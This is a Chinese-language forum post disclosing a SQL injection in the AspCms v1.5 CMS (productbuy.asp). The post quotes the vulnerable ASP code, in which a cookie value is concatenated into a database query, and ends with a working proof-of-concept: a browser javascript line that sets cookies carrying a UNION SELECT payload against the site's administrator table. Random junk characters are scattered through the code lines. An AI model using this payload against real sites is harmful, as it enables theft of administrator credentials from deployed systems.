AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

& C, _$ D5 p$ M1 s( _5 W: Z<%

if action = "buy" then

        addOrder()

# z* g. e% I6 p- C$ d8 B! Xelse
2 _0 ^3 s2 ~  [3 z9 p; ?* F
  G9 B% J% j7 I3 G' a! R) I* O        echoContent()
/ }" s) z! [% V' r$ Z# y0 N
7 \! o" P9 H# g+ H) Jend if



……略过



, ]: O" @2 ^3 C; qSub echoContent()

        dim id

9 J$ H8 w# T7 Q- t9 K        id=getForm("id","get")
% [' ^; _6 z2 t9 E' D2 `; B- R9 N
        

; R$ w8 `5 P" k7 Q7 ?        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

2 v' }% I2 I. t; r4 H5 R4 K3 s- d        
$ q( s' H# P* U' j5 A
7 e: c- D, X0 f; v7 H        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
4 I% ~" Q9 J2 |
        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
/ y0 a+ F" q0 C1 d4 ^0 g  z* |; }
+ K* V5 H  H% C8 |+ ]

        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

8 H/ n, t! P& t2 I3 ]        selectproduct=rsObj(0)
+ j* N3 P8 e2 {4 @
        
9 @) P/ B" {- `( a$ K
        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
2 N9 `  y  [/ X" R$ V) n
$ L# \% l' _8 r! O4 c! i                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
* ?8 }* D9 ?) }7 s( Z0 P) a
                gender=rsObj("gender")

                phone=rsObj("phone")
' w8 W8 g" U) b( [. B: @* y
                mobile=rsObj("mobile")

                email=rsObj("email")
: w% Y( o: A9 ]1 H6 N4 k
                qq=rsObj("qq")

2 i& n8 }" O  \0 {9 i                address=rsObj("address")
( v2 q! l# F3 Z7 u0 _
3 c8 a- W# o/ {. K                postcode=rsObj("postcode")

        else
7 e2 \% W3 Q) f$ j$ U
                gender=1

        end if
- T+ l* U1 O4 O/ {1 ?' j* _
* y% j) E3 p" W. V# G# c+ w3 J" I! r        rsObj.close()
0 g, L# G, T- R( D
               

5 J+ j8 E, a* {+ R        with templateObj
/ E2 y1 `. z; I* E. i1 P( t
                .content=loadFile(templatePath)        

- m% W3 d$ }% x6 x# `/ |2 i! ]                .parseHtml()

8 b- m' C4 r  `" b                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
; l6 ~: c$ S% F" y5 M
4 Y9 [9 ~/ K+ C% s6 `                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
7 {) |# B6 A, g- k* g4 ~* R
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
  |( a5 J  h) m
( d+ ]! @5 i0 M2 Q2 K3 p6 U                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
. e/ s. }' O6 q# }: o
                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        
( P- ~8 i! S+ t9 `
; C& }' s8 w4 F7 c                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
- r& U4 v$ Q$ c1 R+ S
                .parseCommon()                 
9 h, S* K0 s5 w2 C' w0 r% [0 c
8 K( P: e$ ^0 l                echo .content

2 P. C$ f  u, p* q$ q        end with

        set templateobj =nothing : terminateAllObjects

End Sub
漏洞很明显，没啥好说的
! r8 C" a& h; f  _9 Npoc：

+ U1 G7 h  S+ r3 q9 Y, ?' ujavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​